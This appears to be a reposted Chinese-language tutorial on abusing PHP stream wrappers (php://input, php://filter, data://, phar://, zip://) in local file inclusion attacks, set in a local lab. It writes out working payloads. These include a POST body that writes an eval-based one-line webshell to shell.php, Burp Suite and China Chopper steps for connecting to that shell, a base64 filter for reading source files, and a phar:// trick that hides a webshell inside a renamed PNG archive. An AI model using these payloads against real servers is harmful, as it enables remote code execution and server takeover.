概述
Whois伪协议?
PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。
有两个比较重要的配置在php.ini中,allow_url_fopen 和allow_url_include会影响到fopen等等和include等等函数对于伪协议的 支持,而allow_url_include依赖allow_url_fopen,所以allow_url_fopen不 开启的话,allow_url_include也是无法使用的。 不说没用的 今天只研究php://
Php伪协议知多少
file:// 访问本地文件系统
http:// 访问 HTTP(s) 网址
ftp:// 访问 FTP(s) URLs
php:// 访问各个输入/输出流(I/O streams)
zlib:// 压缩流 data:// 数据(RFC 2397)
glob:// 查找匹配的文件路径模式
phar:// PHP 归档
sh2:// Ssecure Shell 2
rar:// RAR
ogg:// 音频流 expect:// 处理交互式的流
今天学习 主要学习php://input 其次zip:// data:// phar://
php://input
php://filter
方法一:
php://input (读取POST数据)
1.新建一个a.php 代码如下
2.访问一下127.0.0.1/a.php 返回空白
3.提交post 数据 查看结果~
(火狐插件)
php://input(写入木马)
不难发现 我们提交什么数据 他返回什么数据 假如我们提交 前面的一句话木马是不是 可以写入一句话木马取得shell? 试一试,创建一个新的a.php 内容如下
Post 提交数据为
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
上菜刀!
方法二:
实验步骤
1、访问http://127.0.0.1/FI/PHP_FI.php?filename=LFI.txt,网页显示是文件包含漏洞。
2、双击桌面的【实验工具】文件夹,找到【burpsuite】,双击打开。
给火狐浏览器设置代理
3、浏览器访问http://127.0.0.1/FI/PHP_FI.php?filename=php://input,burpsuite自动抓包。
在burpsuite中的【Proxy】—【Intercept】—【Raw】下的文本框末提交数据<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
burpsuite中点击【Forward】。浏览器变为下图。
4、双击桌面的【实验工具】文件夹,打开【中国菜刀】文件夹,找到【中国菜刀.exe】双击打开。
空白处右击【添加】
在地址后的文本框添加网址http://127.0.0.1/FI/shell.php,地址框后的密码文本框填写cmd。点击【添加】。
有人说 啊 没有菜刀可以提权么? 这可以告诉你 没问题 看操作 a.php代码不变 Post提交的数据变一下
php://filter
创建文件(原来有可以忽略)a.php 内容 和 phpinfo.php内容
访问一下http://127.0.0.1/a.php?sj=php://filter/read/resource=phpinfo.php
http://127.0.0.1/a.php?sj=php://filter/read=convert.base64-encode/resource=phpinfo.php通过php封装协议读取当前目录下的phpinfo.php文件并进行base64编码(编码后,便不会被解析)
Data://
数据流封装器,和php://相似都是利用了流的概念,将原本的include的文 件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方 法包含了你的输入流,通过你输入payload来实现目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4
Phar://
用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式 的文件都可以正常使用。 步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip, 然后将后缀改为png等其他格式。
测试代码:
开始之前确保你的 phpstudy 版本是 5.39以后的
1.创建shell.php 内容
2.右键打包成shell.zip
3.将shell.zip重新命名为shell.png
访问 127.0.0.1/a.php=phar;//文件名/原文件名
http://127.0.0.1/a.php?sj=phar://shell.png/shell.php
Post 内容为 cmd=phpinfo();
Zip://
将php版本设置为5.3.0<PHP<5.4
1.使用前面的shell.png
2.访问http://127.0.0.1/a.php?sj=zip://shell.png%23shell.php
最后
以上就是娇气银耳汤为你收集整理的Php伪协议 入侵合约的全部内容,希望文章能够帮你解决Php伪协议 入侵合约所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复